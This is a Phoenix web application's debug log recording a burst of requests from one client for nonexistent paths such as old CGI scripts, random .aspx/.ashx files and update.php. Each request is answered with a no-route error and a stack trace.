    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:54.862000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58614] GET /cgi-bin/mt-static/mt-load.cgi
[Thu Sep  3 08:17:54.892000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58614] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/mt-static/mt-load.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:55.280000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58616] POST /cgi-bin/mainfunction.cgi
[Thu Sep  3 08:17:55.297000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58616] ** (Phoenix.Router.NoRouteError) no route found for POST /cgi-bin/mainfunction.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:00.582000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58618] GET /cgi-bin/ncbook/book.cgi
[Thu Sep  3 08:18:00.591000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58618] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/ncbook/book.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:06.258000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34318] GET /cgi-bin/printenv
[Thu Sep  3 08:18:06.279000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34318] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/printenv (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:12.227000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34334] GET /Dy1RJ_J8.ashx
[Thu Sep  3 08:18:12.250000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34334] ** (Phoenix.Router.NoRouteError) no route found for GET /Dy1RJ_J8.ashx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:12.934000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34344] GET /JBnC3jZO.aspx
[Thu Sep  3 08:18:12.958000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34344] ** (Phoenix.Router.NoRouteError) no route found for GET /JBnC3jZO.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:13.027000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34330] GET /cgi-bin/printenv.cgi
[Thu Sep  3 08:18:13.037000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34330] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/printenv.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:14.623000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42946] GET /ut8Amz3c.asmx
[Thu Sep  3 08:18:14.662000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42946] ** (Phoenix.Router.NoRouteError) no route found for GET /ut8Amz3c.asmx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:18.640000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42970] GET /cgi-bin/quickstore.cgi
[Thu Sep  3 08:18:18.656000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42970] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/quickstore.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:19.733000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42958] GET /ZZIfgRdN.ashx
[Thu Sep  3 08:18:19.761000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42958] ** (Phoenix.Router.NoRouteError) no route found for GET /ZZIfgRdN.ashx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:20.427000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42976] GET /T6NjDLX4.aspx
[Thu Sep  3 08:18:20.448000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42976] ** (Phoenix.Router.NoRouteError) no route found for GET /T6NjDLX4.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:21.091000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42982] GET /P90cSs_m.asmx
[Thu Sep  3 08:18:21.108000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42982] ** (Phoenix.Router.NoRouteError) no route found for GET /P90cSs_m.asmx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:21.827000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42994] GET /ezwwonJl.rem
[Thu Sep  3 08:18:21.845000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42994] ** (Phoenix.Router.NoRouteError) no route found for GET /ezwwonJl.rem (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:22.363000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43002] GET /
[Thu Sep  3 08:18:22.363000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:43002] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:18:22.363000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43002] Sent 200 in 899µs
[Thu Sep  3 08:18:22.455000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43010] GET /mrv44eOI.soap
[Thu Sep  3 08:18:22.476000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43010] ** (Phoenix.Router.NoRouteError) no route found for GET /mrv44eOI.soap (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:23.248000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43002] GET /update.php
[Thu Sep  3 08:18:23.274000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43002] ** (Phoenix.Router.NoRouteError) no route found for GET /update.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:23.868000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45970] GET /misc/drupal.js
[Thu Sep  3 08:18:23.900000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45970] ** (Phoenix.Router.NoRouteError) no route found for GET /misc/drupal.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
